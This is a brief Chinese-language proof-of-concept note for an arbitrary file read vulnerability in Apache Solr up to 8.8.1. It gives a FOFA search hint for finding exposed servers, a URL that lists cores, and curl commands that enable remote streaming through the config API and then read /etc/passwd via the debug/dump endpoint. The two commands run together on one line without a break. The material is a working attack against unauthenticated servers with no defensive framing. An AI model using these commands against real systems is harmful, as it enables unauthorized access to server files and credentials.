Apache Solr 任意文件读取漏洞

FOFA：Apache Solr <= 8.8.1

获取core的信息http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json

Curl请求为curl -d '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xxx.xxx.xxx.xxx:8983/solr/{corename}/config -H 'Content-type:application/json'curl "http://xxx.xxx.xxx.xxx:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file://etc/passwd" 

POC还是建立在未授权访问的情况下
